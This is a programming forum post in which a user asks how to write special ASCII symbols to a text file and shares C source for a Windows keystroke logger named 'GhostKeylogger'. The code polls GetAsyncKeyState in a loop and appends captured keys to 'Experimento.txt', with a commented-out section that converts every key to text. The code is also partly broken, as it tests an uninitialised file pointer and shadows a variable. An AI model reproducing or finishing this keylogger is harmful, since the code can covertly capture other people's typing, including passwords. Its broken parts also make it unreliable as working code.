Total members 11895 |It is currently Mon Dec 30, 2024 6:12 pm Login / Join Codemiles

Java

C/C++

PHP

C#

HTML

CSS

ASP

Javascript

JQuery

AJAX

XSD

Python

Matlab

R Scripts

Weka





Its possible to save in a txt the ascii characters? How?

In this example i made it the rest of the code, i just need to know how to fprint those characters.

Is possible to make a way (like a for, or while) to print every symbol when someone press the correct combination (alt+number) ?

Consider the following: I know there is a better way to make this (you know, without using GetAsyncKeyState) using the hooks, lpwords, and some strange functions (bool declarations,maybe keyevents) anyway. I dont know how to use that, so please if its really necessary, ill make another thread asking for that.

PD:sorry for my bad english. Im from Argentina.

Heres my code:

Code:
#include <windows.h>
#include <stdio.h>
#include <ctype.h>
#define VK_4 0x34
#define VK_1 0x31

void GhostKeylogger(FILE *txt);
byte teclas[256];
char teclasespeciales[32];

void GhostKeylogger(FILE *txt)
{
    for(int i=0; i<255; i++){
      
      /*   if(GetAsyncKeyState(i)==-32767){ 
            
         
            *teclasespeciales = 0;
            if(ToAscii(i, MapVirtualKey(i, 0), teclas, (LPWORD)teclasespeciales, 0) == 1)
            fprintf(txt, "[%c]", *teclasespeciales);
            else if(GetKeyNameText((MapVirtualKey(i, 0) << 16), teclasespeciales, 32) > 0)
            fprintf(txt, "[%s]", teclasespeciales);
           
               }   */
            if(GetAsyncKeyState(VK_CONTROL)&& GetAsyncKeyState(VK_MENU)&& GetAsyncKeyState(VK_4))
                 {
            if(GetAsyncKeyState(VK_CONTROL)&& GetAsyncKeyState(VK_MENU)&& GetAsyncKeyState(VK_4))
             {
             fprintf(txt,"~"); break;
            }}
            
/////////////////////////////IMAGINE SEPARATOR BAR////////////////////////////////////   
      
            if(GetAsyncKeyState(VK_MENU) && GetAsyncKeyState(VK_1))
            {
               fprintf(txt,"%c\t",0x01);
                     
         }
////////////////////////////IMAGINE SEPARATOR BAR/////////////////////////////////////////
      
   }
}

int main(){
   
   FILE *txt;
    while(TRUE){   
       if(txt != NULL){
       FILE *txt = fopen("Experimento.txt", "a+");
       Sleep(30);/*to prevent high usage*/
       GhostKeylogger(txt);
       fclose(txt);
    }
   }
}





Author:
Post new topic Reply to topic  [ 1 post ] 

  Related Posts  to : How to save in a file the ASCII Characters? Like "☺"
 Make your own Visual Basic 6 Version of "Tail for windows"     -  
 Program for "Selection of arithmetic operations" in Java     -  
 Temu Coupon Code $100 off |"|act796165|"| for New and Exis     -  
 Invalid unicode sequence error ("u")     -  
 help for "Note pad code in java"     -  
 @SuppressWarnings("unchecked")     -  
 How to add "Description" on every topics ?     -  
 Free "tail -f" Tool for all Platforms: Tail for Windows, Tai     -  
 Unicode, ASCII, UTF-16, and UTF-8 characters in java     -  
 how to write a "c' program on fibannoic series     -  



cron





Powered by phpBB © 2000, 2002, 2005, 2007 phpBB Group
All copyrights reserved to codemiles.com 2007-2011
mileX v1.0 designed by codemiles team
Codemiles.com is a participant in the Amazon Services LLC Associates Program, an affiliate advertising program designed to provide a means for sites to earn advertising fees by advertising and linking to Amazon.com